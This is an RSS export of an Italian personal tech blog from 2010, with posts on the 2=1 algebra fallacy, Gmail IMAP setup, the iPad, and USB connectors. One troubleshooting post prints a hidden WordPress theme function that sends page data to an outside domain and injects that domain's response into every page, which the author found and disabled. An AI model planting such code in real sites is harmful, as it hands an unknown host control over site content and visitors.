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	<title>Le mie frequenze</title>
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	<description>Diario di viaggio di un appassionato di tecnologia ed informatica...</description>
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		<title>2 è uguale a 1?</title>
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		<pubDate>Wed, 24 Feb 2010 06:02:50 +0000</pubDate>
		<dc:creator>Mirko Grewing</dc:creator>
				<category><![CDATA[Troubleshooting]]></category>
		<category><![CDATA[equivalenze]]></category>
		<category><![CDATA[matematica]]></category>
		<category><![CDATA[numeri naturali]]></category>

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		<description><![CDATA[In giro per la rete mi sono imbattuto in questa immagine in cui si tenta di trarre in inganno il lettore dimostrando che 2=1!
Il procedimento sembra formalmente corretto. Nella prima riga abbiamo l&#8217;assunto di partenza:
a=b
Quindi possiamo moltiplicare per a in ambedue i lati:
a2=ab
Allo stesso modo, sottraiamo b2 da ambo le parti:
a2-b2=ab-b2
il che equivale a:
(a+b)(a-b)=b(a-b)
ora se [...]


Nessun articolo correlato.]]></description>
			<content:encoded><![CDATA[<p>In giro per la rete mi sono imbattuto in questa immagine in cui si tenta di trarre in inganno il lettore dimostrando che <strong>2=1</strong>!</p>
<div id="attachment_1034" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/02/20060712_2is1.jpg" rel="shadowbox[post-1033];player=img;"><img class="size-medium wp-image-1034" title="2=1 ?!?" src="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/02/20060712_2is1-300x224.jpg" alt="2=1 ?!?" width="300" height="224" /></a><p class="wp-caption-text">2=1 ?!?</p></div>
<p>Il procedimento sembra formalmente corretto. Nella prima riga abbiamo l&#8217;assunto di partenza:</p>
<p><code>a=b</code></p>
<p><span id="more-1033"></span>Quindi possiamo moltiplicare per <strong><em>a</em></strong> in ambedue i lati:</p>
<p><code>a<sup>2</sup>=ab</code></p>
<p>Allo stesso modo, sottraiamo <strong>b<sup>2</sup></strong> da ambo le parti:</p>
<p><code>a<sup>2</sup>-b<sup>2</sup>=ab-b<sup>2</sup></code></p>
<p>il che equivale a:</p>
<p><code>(a+b)(a-b)=b(a-b)</code></p>
<p>ora se dividiamo ambedue i lati per <strong>(a-b)</strong> otteniamo:</p>
<p><code>a+b=b</code></p>
<p>che per l&#8217;assunto iniziale corrisponde a:</p>
<p><code>a+a=a</code></p>
<p>ovvero:</p>
<p><code>2a=a</code></p>
<p>semplificando:</p>
<p><code>2=1</code></p>
<p>Stupefacente vero? Se non fosse che ad un certo punto abbiamo diviso ambedue i lati per <strong>(a-b)</strong>: ma se l&#8217;assunto di partenza era a=b allora:</p>
<p><code>(a-b)=(a-a)=0</code></p>
<p>E come immagino saprete, dividere per 0 nell&#8217;ambito dei <a href="http://it.wikipedia.org/wiki/numeri_naturali" target="_blank" title="Da Wikipedia la definizione di: numeri naturali" style="padding-bottom: 2px; border-bottom: 1px dotted #DD0000" >numeri naturali</a><sup style="font-family: Georgia, Times New Roman, Serif; font-weight: bold; color: #AAAAAA" ><em>W</em></sup> non ha senso.</p>


<p>Nessun articolo correlato.</p>]]></content:encoded>
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		<title>Accesso IMAP e GMAIL</title>
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		<pubDate>Sun, 21 Feb 2010 11:21:21 +0000</pubDate>
		<dc:creator>Mirko Grewing</dc:creator>
				<category><![CDATA[Guide]]></category>
		<category><![CDATA[Posta elettronica]]></category>
		<category><![CDATA[Apple Mail]]></category>
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		<category><![CDATA[mail]]></category>

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		<description><![CDATA[Ormai Gmail si avvia ad essere uno dei più diffusi servizi di posta elettronica gratuita (e non) grazie all&#8217;estrema semplicità d&#8217;uso e ad un&#8217;ampia gamma di servizi congiunti. Nonostante l&#8217;interfaccia web di Gmail sia estremamente versatile potreste comunque avere la necessità di configurare il vostro account in un client di posta elettronica.
Contrariamente a tanti altri [...]


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<li><a href='http://www.lemiefrequenze.org/blog/archives/140' rel='bookmark' title='Permanent Link: Importare la posta in Windows Mail di Vista'>Importare la posta in Windows Mail di Vista</a></li>
<li><a href='http://www.lemiefrequenze.org/blog/archives/179' rel='bookmark' title='Permanent Link: iPhone e IMAP/SMTP in TLS'>iPhone e IMAP/SMTP in TLS</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Ormai Gmail si avvia ad essere uno dei più diffusi servizi di posta elettronica gratuita (e non) grazie all&#8217;estrema semplicità d&#8217;uso e ad un&#8217;ampia gamma di servizi congiunti. Nonostante l&#8217;interfaccia web di Gmail sia estremamente versatile potreste comunque avere la necessità di configurare il vostro account in un client di posta elettronica.</p>
<p>Contrariamente a tanti altri servizi di posta, Gmail permette il download sia attraverso il protocollo <a href="http://it.wikipedia.org/wiki/POP3" target="_blank" title="Da Wikipedia la definizione di: POP3" style="padding-bottom: 2px; border-bottom: 1px dotted #DD0000" >POP3</a><sup style="font-family: Georgia, Times New Roman, Serif; font-weight: bold; color: #AAAAAA" ><em>W</em></sup> che attraverso l&#8217;<a href="http://it.wikipedia.org/wiki/IMAP" target="_blank" title="Da Wikipedia la definizione di: IMAP" style="padding-bottom: 2px; border-bottom: 1px dotted #DD0000" >IMAP</a><sup style="font-family: Georgia, Times New Roman, Serif; font-weight: bold; color: #AAAAAA" ><em>W</em></sup>. Il secondo, per quanti non lo conoscessero correttamente, è un protocollo molto versatile perché non permette solamente il download dei messaggi di posta elettronica, ma garantisce una effettiva sincronizzazione tra tutte le cartelle del server ed il client. Tramite il protocollo IMAP pertanto, è possibile leggere la posta elettronica su un client, spostare i messaggi nelle varie cartelle e visualizzare le modifiche su tutti gli altri client che accedano utilizzando lo stesso protocollo.</p>
<p>Il servizio IMAP non è automaticamente attivo, ma va impostato per ogni account Gmail, pertanto entriamo nel nostro account e quindi nella sezione &#8220;Impostazioni&#8221;:</p>
<div id="attachment_1025" class="wp-caption aligncenter" style="width: 193px"><a title="1. Accedere alle impostazioni di Gmail" href="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/02/Schermata-2010-02-21-a-11.21.15.png" rel="shadowbox[post-1021];player=img;"><img class="size-full wp-image-1025" title="1. Accedere alle impostazioni di Gmail" src="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/02/Schermata-2010-02-21-a-11.21.15.png" alt="1. Accedere alle impostazioni di Gmail" width="183" height="25" /></a><p class="wp-caption-text">1. Accedere alle impostazioni di Gmail</p></div>
<p><span id="more-1021"></span>Adesso spostatevi nella scheda &#8220;Inoltro e POP/IMAP&#8221;:</p>
<div id="attachment_1026" class="wp-caption aligncenter" style="width: 310px"><a title="2. Entrate nella scheda IMAP" href="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/02/Schermata-2010-02-21-a-11.27.02.png" rel="shadowbox[post-1021];player=img;"><img class="size-medium wp-image-1026" title="2. Entrate nella scheda IMAP" src="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/02/Schermata-2010-02-21-a-11.27.02-300x40.png" alt="2. Entrate nella scheda IMAP" width="300" height="40" /></a><p class="wp-caption-text">2. Entrate nella scheda IMAP</p></div>
<p>Nella sezione &#8220;Accesso IMAP&#8221; attivate il servizio:</p>
<div id="attachment_1027" class="wp-caption aligncenter" style="width: 310px"><a title="3. Attivate il servizio IMAP" href="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/02/Schermata-2010-02-21-a-11.31.44.png" rel="shadowbox[post-1021];player=img;"><img class="size-medium wp-image-1027" title="3. Attivate il servizio IMAP" src="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/02/Schermata-2010-02-21-a-11.31.44-300x44.png" alt="3. Attivate il servizio IMAP" width="300" height="44" /></a><p class="wp-caption-text">3. Attivate il servizio IMAP</p></div>
<p>A questo punto è possibile accedere via IMAP alla nostra casella di posta Gmail utilizzando un qualunque client. Ovviamente ogni client ha una sua procedura di configurazione, ma le impostazioni sono praticamente sempre le stesse. Vediamo ad esempio come configurare correttamente Apple Mail.</p>
<p>Aprite le preferenze di Mail e nella scheda &#8220;Account&#8221; cliccate sul segno + in fondo alla lista degli account configurati:</p>
<div id="attachment_1029" class="wp-caption aligncenter" style="width: 310px"><a title="4. Aggiungete un nuovo account" href="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/02/Schermata-2010-02-21-a-12.02.13.png" rel="shadowbox[post-1021];player=img;"><img class="size-medium wp-image-1029" title="4. Aggiungete un nuovo account" src="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/02/Schermata-2010-02-21-a-12.02.13-300x236.png" alt="4. Aggiungete un nuovo account" width="300" height="236" /></a><p class="wp-caption-text">4. Aggiungete un nuovo account</p></div>
<p>Ora inserite il vostro nome, l&#8217;indirizzi e-mail del vostro account Gmail e la password: Mail è perfettamente in grado di configurare l&#8217;account senza che voi specifichiate altro. Ma per poter accedere correttamente alle cartelle, prima di chiudere la finestra delle preferenze dovete accedere alla scheda avanzate ed impostare il campo &#8220;Percorso IMAP&#8221; come nell&#8217;immagine:</p>
<div id="attachment_1030" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/02/Schermata-2010-02-21-a-12.11.49.png" rel="shadowbox[post-1021];player=img;"><img class="size-medium wp-image-1030" title="5. Impostate il percorso IMAP" src="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/02/Schermata-2010-02-21-a-12.11.49-300x275.png" alt="5. Impostate il percorso IMAP" width="300" height="275" /></a><p class="wp-caption-text">5. Impostate il percorso IMAP</p></div>
<p>Ora nella scheda &#8220;Regole casella&#8221; impostate tutto come nell&#8217;immagine per avere tutte le cartelle perfettamente sincronizzate:</p>
<div id="attachment_1031" class="wp-caption aligncenter" style="width: 310px"><a title="6. Impostate correttamente le caselle" href="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/02/Schermata-2010-02-21-a-12.16.30.png" rel="shadowbox[post-1021];player=img;"><img class="size-medium wp-image-1031" title="6. Impostate correttamente le caselle" src="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/02/Schermata-2010-02-21-a-12.16.30-300x275.png" alt="6. Impostate correttamente le caselle" width="300" height="275" /></a><p class="wp-caption-text">6. Impostate correttamente le caselle</p></div>
<p>Ora potete uscire dalla finestra delle Preferenze salvando le modifiche apportate. Non rimane che impostare ora le cartelle predefinite di Gmail per le varie funzioni di Mail. Cliccate con il tasto destro del mouse sulla cartella &#8220;Trash&#8221; e selezionate &#8220;Usa questa cartella per&#8221;, quindi selezionate &#8220;Cestino&#8221;. Ripetete la stessa operazione per la cartella &#8220;Spam&#8221; impostandola come cartella di posta indesiderata, la cartella &#8220;Sent&#8221; per la posta inviata e la cartella &#8220;Draft&#8221; per le bozze.</p>
<p>Ed il gioco è fatto.</p>


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</ol></p>]]></content:encoded>
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		</item>
		<item>
		<title>Wordpress ed errore &#8220;The site is currently unavailable&#8221;</title>
		<link>http://www.lemiefrequenze.org/blog/archives/1014</link>
		<comments>http://www.lemiefrequenze.org/blog/archives/1014#comments</comments>
		<pubDate>Fri, 05 Feb 2010 18:44:05 +0000</pubDate>
		<dc:creator>Mirko Grewing</dc:creator>
				<category><![CDATA[Troubleshooting]]></category>
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		<description><![CDATA[Nella giornata di oggi alcuni siti che gestisco, impostati su Wordpress, hanno cominciato a mostrare il seguente avviso un paio di secondi dopo aver terminato il caricamento della home-page:
Trattandosi di un provider perlopiù sconosciuto ho cominciato a domandarmi se non si fosse trattato di una intrusione di qualche tipo, per quanto improbabile. Entrando direttamente nella [...]


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</ol>]]></description>
			<content:encoded><![CDATA[<p>Nella giornata di oggi alcuni siti che gestisco, impostati su Wordpress, hanno cominciato a mostrare il seguente avviso un paio di secondi dopo aver terminato il caricamento della home-page:</p>
<div id="attachment_1016" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/02/Schermata-2010-02-05-a-19.23.45.png" rel="shadowbox[post-1014];player=img;"><img class="size-medium wp-image-1016" title="Errore di Wordpress" src="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/02/Schermata-2010-02-05-a-19.23.45-300x88.png" alt="Errore di Wordpress" width="300" height="88" /></a><p class="wp-caption-text">Errore di Wordpress</p></div>
<p>Trattandosi di un provider perlopiù sconosciuto ho cominciato a domandarmi se non si fosse trattato di una intrusione di qualche tipo, per quanto improbabile. Entrando direttamente nella pagina di backoffice ho notato che il problema non si è riproposto, pertanto ho dedotto che il problema era legato al frontend (o anche solo al tema).</p>
<p><span id="more-1014"></span>Ho così ricaricato la homepage e bloccato il caricamento prima che si innescasse il redirect, dopodiché ho visualizzato il codice della pagina alla ricerca di un qualche riferimento alla finestra di errore. Ho così trovato il redirect nella sezione del <em>footer</em>:</p>
<p><code>&lt;div&gt;&lt;meta http-equiv="refresh" content="0;url=http://sb57.inmotionhosting.com/suspended.page/" /&gt;&lt;/div&gt;</code></p>
<p>Seguendo il &#8220;filo di arianna&#8221; sono così andato a guardare da cosa fosse generato l&#8217;output della pagina con l&#8217;editor del backoffice (<em>Aspetto &gt; Editor</em>). Aperta in modalità editing la pagina <em>footer.php</em> ho trovato questa funzione:</p>
<p><code>&lt;div&gt;&lt;? wp_rss2feed(); ?&gt;&lt;/div&gt;</code></p>
<p>La funzione è elencata chiaramente in <em>functions.php</em>:</p>
<p><code>function wp_rss2feed()<br />
{<br />
$url = "http://wp-templatepath.com/wp-rss2.php?" . "url=" . urlencode($_SERVER['REQUEST_URI']) . "&amp;" . "host=" . urlencode($_SERVER['HTTP_HOST']);<br />
$check = @fsockopen("wp-templatepath.com", 80, $errno, $errstr, 3);<br />
if($check)<br />
{<br />
@readfile($url);<br />
fclose($check);<br />
}<br />
}</code></p>
<p>E chiaramente provando ad aprire il link http://wp-templatepath.com/ ho ottenuto la fatidica pagina di errore. Per risolvere &#8220;brutalmente&#8221; il problema è bastato commentare il riferimento alla funzione, in questo modo:</p>
<p><code>&lt;!--  &lt;div&gt;&lt;? wp_rss2feed(); ?&gt;&lt;/div&gt; --&gt;</code></p>
<p>Vediamo se ripristinano il servizio&#8230;</p>


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</ol></p>]]></content:encoded>
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		</item>
		<item>
		<title>iPad: manca il file-system? Fosse quello&#8230;</title>
		<link>http://www.lemiefrequenze.org/blog/archives/1001</link>
		<comments>http://www.lemiefrequenze.org/blog/archives/1001#comments</comments>
		<pubDate>Sun, 31 Jan 2010 08:37:32 +0000</pubDate>
		<dc:creator>Mirko Grewing</dc:creator>
				<category><![CDATA[Editoriali]]></category>
		<category><![CDATA[Hardware]]></category>
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		<description><![CDATA[Dopo qualche giorno dalla presentazione dell&#8217;iPad cominciamo ad avere qualche dettaglio in più sulla sua &#8220;identità&#8221;, in particolare sulle sue caratteristiche che lo rengono un prodotto a metà tra un iPhone ed un MacBook.
Tanto per cominciare avrà un processore (o meglio un System-on-a-chipW) Apple A4 da 1GHz: i ben informati ritengono sia basato sull&#8217;architettura dell&#8217;ARM [...]


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			<content:encoded><![CDATA[<p>Dopo qualche giorno dalla presentazione dell&#8217;<strong>iPad</strong> cominciamo ad avere qualche dettaglio in più sulla sua &#8220;identità&#8221;, in particolare sulle sue caratteristiche che lo rengono un prodotto a metà tra un iPhone ed un MacBook.</p>
<div id="attachment_1003" class="wp-caption alignleft" style="width: 160px"><a title="Apple A4" href="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/01/ipad-a4-100127.jpg" rel="shadowbox[post-1001];player=img;"><img class="size-thumbnail wp-image-1003" title="Apple A4" src="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/01/ipad-a4-100127-150x150.jpg" alt="Apple A4" width="150" height="150" /></a><p class="wp-caption-text">Apple A4</p></div>
<p>Tanto per cominciare avrà un processore (o meglio un <a href="http://it.wikipedia.org/wiki/System-on-a-chip" target="_blank" title="Da Wikipedia la definizione di: System-on-a-chip" style="padding-bottom: 2px; border-bottom: 1px dotted #DD0000" >System-on-a-chip</a><sup style="font-family: Georgia, Times New Roman, Serif; font-weight: bold; color: #AAAAAA" ><em>W</em></sup>) <strong>Apple A4 da 1GHz</strong>: i ben informati ritengono sia basato sull&#8217;architettura dell&#8217;ARM Cortex-A9 MPCore, e che quindi sia una sorta di &#8220;clone&#8221; dello Snapdragon. Per poter lavorare sull&#8217;architettura ARM Apple ha dovuto <a title="Link alla notizia su MacWorld" href="http://www.macworld.com/article/133131/2008/04/semi.html" target="_blank">acquistare</a> un paio di anni or sono la <strong>PA Semi</strong>, licenziataria dei processori ARM. Aldilà dei tecnicismi, questa scelta si traduce in 10 ore di autonomia in uso e più di un mese in standby. Veramente impressionante, un po` come il <strong>rivestimento oleorepellente</strong> del display, che dicono sia a prova di impronta.</p>
<p>Sarà disponibile una versione con connettività 3G (e GPS) grazie ad uno slot <strong>Micro-SIM</strong>, un formato che per ora si è solo intravisto in Italia. Inoltre saranno disponibili nell&#8217;AppStore versioni appositamente progettata per iPad dei programmi che compongono la suite iWork: non mi sembra siano stati resi noti i dettagli dei costi, ma penso che sarà un&#8217;acquisto irrinunciabile per chiunque non voglia usare il tablet solo come uno strumento mulimediale.</p>
<p>Saranno disponibili anche diversi accessori interessanti, come il dock appositamente progettato per collegare l&#8217;iPad al PC/Mac, ricaricarlo, collegare altoparlanti esterni o utilizzare il Camera Connection Kit: si tratta fondamentalmente di due adattatori che possono essere collegati al connettore dock presente sull&#8217;iPad, una porta USB per fotocamere e un lettore di schede SD.</p>
<p>Ma con il passare dei giorni cominciamo anche a scoprire cosa manca sull&#8217;iPad, a partire dalle cose più evidenti.<br />
<span id="more-1001"></span></p>
<div id="attachment_1010" class="wp-caption alignright" style="width: 160px"><a title="Camera Connection Kit" href="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/01/usb_connectors_20100127.jpg" rel="shadowbox[post-1001];player=img;"><img class="size-thumbnail wp-image-1010" title="Camera Connection Kit" src="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/01/usb_connectors_20100127-150x150.jpg" alt="Camera Connection Kit" width="150" height="150" /></a><p class="wp-caption-text">Camera Connection Kit</p></div>
<p>Ad esempio, <strong>manca una fotocamera</strong> integrata, che avrebbe reso l&#8217;iPad un ottimo strumento per la videocomunicazione. Ovviamente a quel punto si sarebbe resa necessaria anche l&#8217;integrazione di iChat o comunque la compatibilità con altri software IM, come Skype. Stando a quanto ho ascoltato durante la conferenza di Steve Jobs, l&#8217;iPad è inteso come strumento di accesso a contenuti multimediali, senza contemplarne necessariamente la creazione.</p>
<p>Avendo già parlato del Camera Connection Kit, avrete capito che <strong>mancano porte USB e lettori di schede di memoria</strong>. I due adattatori ovviano a questa mancanza, ma non saprei dire se in modo completo, perché il kit è pubblicizzato come strumento destinato ad importare le foto dalla fotocamera o dalla sua SD pertanto dubito che si tratti di un supporto USB-host completo (ovvero: niente supporto per perfieriche USB che non siano fotocamere e al di fuori di iPhoto).</p>
<p>Volendo essere pignoli, direi che manca sicuramente il <strong>supporto nativo dei 16:9</strong>, dato che il monitor è in formato 4:3. Considerando che i nuovi iMac sono già dotati di un display widescreen, sarebbe stata forse una scelta più adeguata, considerando che <strong>non è presenta un&#8217;uscita HDMI</strong> ma, come premesso, è solo una mia personale pignoleria. Mi infastidice molto di più invece il <strong>mancato supporto per il FullHD</strong> (1080p), non tanto per un discorso qualitativo (in 10 pollici vanno bene anche formati inferiori), ma perché significa che si dovranno convertire tutti i video in formato superiore ai 720p per poterli vedere su iPad. Ma del resto già lo facciamo sull&#8217;iPhone, no?</p>
<p>L&#8217;iPad sarà commercializzato con tre diverse configurazioni per quanto concerne la memoria interna, potendo contare su <strong>unità flash da 16, 32 o 64 GB</strong>. Non mi sembra una dotazione eccelsa ma probabilmente andranno bene per la stragrande maggioranza degli utenti.</p>
<div id="attachment_1006" class="wp-caption alignleft" style="width: 160px"><a title="Niente supporto Flash..." href="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/01/no-flash-big.jpg" rel="shadowbox[post-1001];player=img;"><img class="size-thumbnail wp-image-1006" title="Niente supporto flash..." src="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/01/no-flash-big-150x150.jpg" alt="Niente supporto flash..." width="150" height="150" /></a><p class="wp-caption-text">Niente supporto Flash...</p></div>
<p>Addentrandoci maggiormente nel sistema operativo dell&#8217;iPad scopriamo altre lacune più o meno importanti. Non è una novità l&#8217;<strong>assenza del Flash Player</strong>, dato che sono ben note le difficoltà di Apple a trovare un accordo con Adobe in merito. Inoltre essendo dotato di &#8220;iPhone OS&#8221; avrà gli stessi limiti già indiviudati nell&#8217;iPhone, primo su tutti la <strong>mancanza di multitasking</strong>. Personalmente ritengo che questo &#8220;problema&#8221; sia da considerare in maniera congiunta con un&#8217;altra importante scelta di Apple, quella di dotare l&#8217;iPad di <strong>un file-system inaccessibile e trasparente per l&#8217;utente</strong>.</p>
<p>E qui penso sia il caso di spendere qualche parola in più perché ritengo che queste due scelte non siano necessariamente un limite.</p>
<p>Io sono stato uno dei sostenitori della prima ora di <strong>Palm OS</strong> e ne ho seguito le vicende fino alla sua morte: molti di voi ricorderanno l&#8217;idea, mai portata a compimento, di un Palm OS 6 (o ALP) con un kernel *nix alla base. Questa adozione avrebbe permesso agli sviluppatori di demandare praticamente ad altri il mantenimento del kernel e proseguire lo sviluppo quasi esclusivo delle sole API. Senza contare il fatto che il kernel *nix avrebbe consentito il superamento di tutti gli enormi limiti di cui ormai il vecchio Palm OS soffriva in modo eclatante, su tutti la <strong>mancanza di un file-system e del multitasking</strong>.</p>
<p>Accedere al file-system significa esplorare il contenuto della memoria interna, organizzato secondo una <strong>struttura gerarchica</strong> ad albero (cartelle e sotto-cartelle), mentre il multitasking consente di aprire (e mantenere aperte) altre applicazioni oltre a quella che si sta usando in un momento specifico.</p>
<p>Chiunque abbia un minimo di dimestichezza con il computer oppure lavori in un ufficio avrà notato quali sono i principali problemi da affontare per chi non sia sufficientemente smaliziato: la <strong>perdita di documenti</strong> su cui magari si è lavorato per ore, perché non salvati o salvati nel posto sbagliato, ma anche il rapido <strong>tracollo delle prestazioni</strong> della macchina a causa di un numero troppo elevato di file o applicazioni aperte contemporaneamente.</p>
<p>Visto che ormai la tecnologia è largamente accessibile alle masse, in quanto veicolo di cultura e strumento di lavoro, Apple ha pensato di adottare una &#8220;formula&#8221; che eliminasse in un colpo solo entrambi i problemi, <strong>togliendo l&#8217;utente dall&#8217;impaccio di dover salvare i file</strong> in un ambiente gerarchico. I file saranno salvati nello stesso momento in cui l&#8217;applicazione viene chiusa ed ogni applicazione sarà consapevole dei file compatibili presenti all&#8217;interno della memoria. Verrà quindi esteso il concetto già presente su iPhone, che prima ancora fu di Palm OS, ma questa volta in modo a mio avviso non contestabile.</p>
<p>Purtroppo noi &#8220;smanettoni&#8221; dobbiamo arrenderci all&#8217;evidenza dei fatti: dispositivi come l&#8217;iPad non sono più strumenti di nicchia a nostro esclusivo appannaggio. Noi che usiamo lo Spotlight (o il WIN+F) per cercare i file che non troviamo, noi che amiamo avviare le procedure di manutenzione dei nostro PC/Mac, noi che manteniamo pulita la memoria e svuotiamo il cestino, siamo una razza in via di estinzione.</p>
<p>L&#8217;utOnto ha vinto e a noi non resta che aspettare il Jailbreak per iPad.</p>


<p>Nessun articolo correlato.</p>]]></content:encoded>
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		<title>Connettori USB&#8230; ma quanti sono?</title>
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		<pubDate>Wed, 27 Jan 2010 22:17:28 +0000</pubDate>
		<dc:creator>Mirko Grewing</dc:creator>
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		<category><![CDATA[connettore]]></category>
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		<category><![CDATA[plug]]></category>
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		<category><![CDATA[USB]]></category>

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		<description><![CDATA[Quando si pensa ad un connettore USB siamo abituati a focalizzare, istintivamente, il plug USB presente su qualunque computer. Ma se ci fermiamo a riflettere, quando si parla di altri dispositivi, i plug USB sono ben diversi: basti pensare al plug delle stampanti o ai connettori dei cellulari. Ma andiamo con ordine.
Lo standard USB è [...]


Nessun articolo correlato.]]></description>
			<content:encoded><![CDATA[<p>Quando si pensa ad un connettore USB siamo abituati a focalizzare, istintivamente, il plug USB presente su qualunque computer. Ma se ci fermiamo a riflettere, quando si parla di altri dispositivi, i plug USB sono ben diversi: basti pensare al plug delle stampanti o ai connettori dei cellulari. Ma andiamo con ordine.</p>
<p>Lo standard USB è stato definito nell&#8217;ormai lontano 1996 ed ha avuto immediata diffusione grazie al cosiddetto <em>plug&#8217;n'play </em>(che all&#8217;epoca di Windows 95/98 era piuttosto un <em>plug&#8217;n'prey</em>). Se la sua diffusione è stata favorita dalla possibilità di collegare rapidamente molteplici periferiche con un unico standard di connessione, in un secondo momento è stata valorizzata prevalentemente la possibilità offerta dai plug USB di collegare memorie di massa al PC/Mac.<span id="more-981"></span></p>
<div id="attachment_982" class="wp-caption alignleft" style="width: 154px"><a href="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/01/Type_A_USB_connector.jpg" rel="shadowbox[post-981];player=img;"><img class="size-medium wp-image-982  " title="Connettore USB-A" src="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/01/Type_A_USB_connector-300x211.jpg" alt="Connettore USB-A" width="144" height="102" /></a><p class="wp-caption-text">Connettore USB-A</p></div>
<p>La velocità di trasmissione dei dati della porta USB era 12 Mbit/s, assolutamente inadeguata per trasferire file che con il passare del tempo si fanno sempre più pesanti: nel 2000 è stato così presentato lo standard USB 2 (480 Mbit/s).</p>
<p>Nonostante siano stati proposti altri standard per il trasferimento dei dati a velocità maggiori (a.e. la connessione firewire raggiunge quasi gli 800 Mbit/s) da quasi 10 anni non esiste computer, desktop o laptop, che non sia provvisto dei plug <strong>USB-A</strong>.</p>
<div id="attachment_984" class="wp-caption alignright" style="width: 154px"><a href="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/01/USB_Male_Plug_Type_B.jpg" rel="shadowbox[post-981];player=img;"><img class="size-medium wp-image-984  " title="Connettore USB-B" src="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/01/USB_Male_Plug_Type_B-300x300.jpg" alt="Connettore USB-B" width="144" height="144" /></a><p class="wp-caption-text">Connettore USB-B</p></div>
<p>Una classe di periferiche che ha beneficiato in modo significativo del passaggio alla connessione USB è quella delle stampanti, che hanno abbandonato la porta parallela in favore di una veloce e pratica connessione USB.</p>
<p>Le stampanti sono state però dotate (come la maggior parte degli <acronym title="Hard Disk Drive">HDD</acronym> esterni) di un connettore <strong>USB-B</strong>, di forma volutamente differente dall&#8217;USB-A per evitare che l&#8217;utente metta involontariamente in corto la connessione, dato che la USB-B è stata pensata anche per la trasmissione di corrente parallelamente ai dati.</p>
<div id="attachment_989" class="wp-caption alignleft" style="width: 154px"><a href="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/01/Mini-B.jpg" rel="shadowbox[post-981];player=img;"><img class="size-medium wp-image-989  " title="Connettore USB Mini-B" src="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/01/Mini-B-300x200.jpg" alt="Connettore USB Mini-B" width="144" height="96" /></a><p class="wp-caption-text">Connettore USB Mini-B</p></div>
<p>Successivamente alla diffusione dello standard USB 2.0 è stato introdotto il connettore di tipo <strong>Mini-USB</strong> che semplificava in maniera decisiva l&#8217;adozione della connessione USB su dispositivi portatili per le dimensioni ridotte del plug. Lettori MP3, palmari, telefoni cellulari e fotocamere sono solo le categorie più diffuse che adottano il plug Mini-USB per la connessione al computer.</p>
<p>Anche per il formato Mini vengono introdotte due tipologie differenti di connettore, definite Mini-A e Mini-B, il secondo dei quali ha avuto una diffusione sensibilmente maggiore.</p>
<div id="attachment_991" class="wp-caption alignright" style="width: 154px"><a href="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/01/Mini-A.jpg" rel="shadowbox[post-981];player=img;"><img class="size-medium wp-image-991  " title="Connettore USB Mini-A" src="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/01/Mini-A-300x200.jpg" alt="Connettore USB Mini-A" width="144" height="96" /></a><p class="wp-caption-text">Connettore USB Mini-A</p></div>
<p>Ma non tutti i produttori si &#8220;arrendono&#8221; alla comodità del plug &#8220;universale&#8221; per questo compaiono differenti connettori, in particolare nell&#8217;ambito dei telefoni cellulari dove ogni casa adotta un proprio tipo di connettore.</p>
<p>E purtroppo sono pochi i prodotti che consentono di utilizzare la stessa porta USB per ricaricare la batteria dei dispositivi: lo standard USB veicola infatti una linea di corrente di 5V fino a 500mAh.</p>
<div id="attachment_998" class="wp-caption alignleft" style="width: 124px"><a href="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/01/microusb.jpg" rel="shadowbox[post-981];player=img;"><img class="size-medium wp-image-998   " title="Connettore MicroUSB" src="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/01/microusb-296x300.jpg" alt="Connettore MicroUSB" width="114" height="115" /></a><p class="wp-caption-text">Connettore MicroUSB</p></div>
<p>Queste sono le ragioni che hanno spinto l&#8217;Open Mobile Terminal Platform, un forum creato dai principali operatori mobili per avere un dialogo costante con i produttori di telefoni cellulari, a proporre l&#8217;ultimo nato <strong>Micro-USB</strong> come standard unico per la connessione <em>wired</em> tra telefono cellulare e computer: la proposta è stata <a title="Link alla delibera" href="http://ec.europa.eu/enterprise/newsroom/cf/itemlongdetail.cfm?&amp;item_id=3241&amp;lang=en" target="_blank">accolta dalla Commissione Europea</a> che ha fatto del Micro-USB lo standard unico per la connessione dei caricabatterie (e speriamo che i produttori estendano lo standard anche alla connessione al computer).</p>
<p>Siamo vicini anche alla pubblicazione dello standard <strong>USB 3.0</strong> (SuperSpeed), che permetterà di raggiungere anche i 4 Gbit/s con alimentazione a 5V da 900 mAh&#8230;</p>


<p>Nessun articolo correlato.</p>]]></content:encoded>
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		<title>iStat per monitorare il tuo iPhone, i tuoi server, il tuo Mac&#8230;</title>
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		<pubDate>Sat, 23 Jan 2010 11:41:45 +0000</pubDate>
		<dc:creator>Mirko Grewing</dc:creator>
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		<category><![CDATA[Linux]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[iStat]]></category>
		<category><![CDATA[monitoring tools]]></category>

